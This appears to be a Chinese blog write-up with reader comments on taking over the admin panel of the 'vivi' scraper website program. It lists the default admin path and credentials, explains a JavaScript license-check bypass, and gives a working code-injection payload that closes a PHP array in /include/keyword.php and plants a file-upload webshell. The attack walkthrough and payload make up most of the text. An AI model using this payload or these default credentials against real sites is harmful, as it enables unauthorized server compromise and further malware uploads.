简单介绍一下这套程序,这套程序是一个小偷程序,也就是说没有数据库没有所谓的sql注入了。

然后管理员账号密码全部明文存放在 /admin/data.php 里面。

默认后台路径:/admin/index.php

默认账号密码:admin

简短点直接看怎么拿shell的代码分析。

系统配置文件就不看了,虽然用了【“】而不是单引号,经测试发现【”】也是转义的,因此让群里一基友郁闷坏了。

基本上所有只要写入文件的页面都用到了这段代码。

vivi小偷程序后台管理系统 后台拿shell 与突破授权验证

if(preg_match("/require|include|REQUEST|eval|system|fputs/i", $con)){
echo"<script>alert('含有非法字符!');location.href='?id=wyc';</script>";

过滤了一些常用的函数因此写一般的一句话路子就断了,我也不继续研究绕过了,绕过的方法很多。

下面看拿shell的地方 SEO优化设置 伪原创词汇

默认点击是会提示授权信息的

vivi小偷程序后台管理系统 后台拿shell 与突破授权验证

不过简单看了一下也就是个js在搞鬼,这个简单。

用Opera浏览器就直接过去了绕过这个窗口了。

这个编辑文件是 /admin/wyc.php,看代码

vivi小偷程序后台管理系统 后台拿shell 与突破授权验证

它居然用了这个 stripslashes 太神奇了。。。哈哈搞笑的要死

它保存到/include/keyword.php 这个文件。先去看一下这个文件的结构好来构造语句

vivi小偷程序后台管理系统 后台拿shell 与突破授权验证

好吧他是以数组形式保存的

对比一下网页页面就可以发现,他是只保存array( ) 这中间的内容。

那知道了。 那我们就插在最前面,那就应该要先闭合这个)让这个数组结束然后再加上

我们的代码

一句话就不弄了,直接构造个小马来吧

')?><form  method="post" action="?hack=niu" enctype="multipart/form-data"><input name="upfile" type="file"><input type="submit" value="ok"></form><?php if ($_GET['hack'] == 'niu') {if(!file_exists($_FILES["upfile"]["name"])){ copy($_FILES["upfile"]["tmp_name"], $_FILES["upfile"]["name"]);}}?>

直接看效果吧。

vivi小偷程序后台管理系统 后台拿shell 与突破授权验证

好了,就结束吧。

留言评论(旧系统):

【匿名者】 @ 2012-07-19 11:30:34

这漏洞不是一般的鸡肋,并且所谓的突破限制在那里?

本站回复:

狗血文章,将就着看吧……

【匿名者】 @ 2012-07-23 17:49:26

单引号也没闭合能成功?

本站回复:

开头确实少了个单引号,已修正……

【匿名者】 @ 2012-07-23 19:07:38

单引号自动被加\ 能绕过么?

本站回复:

╮(╯_╰)╭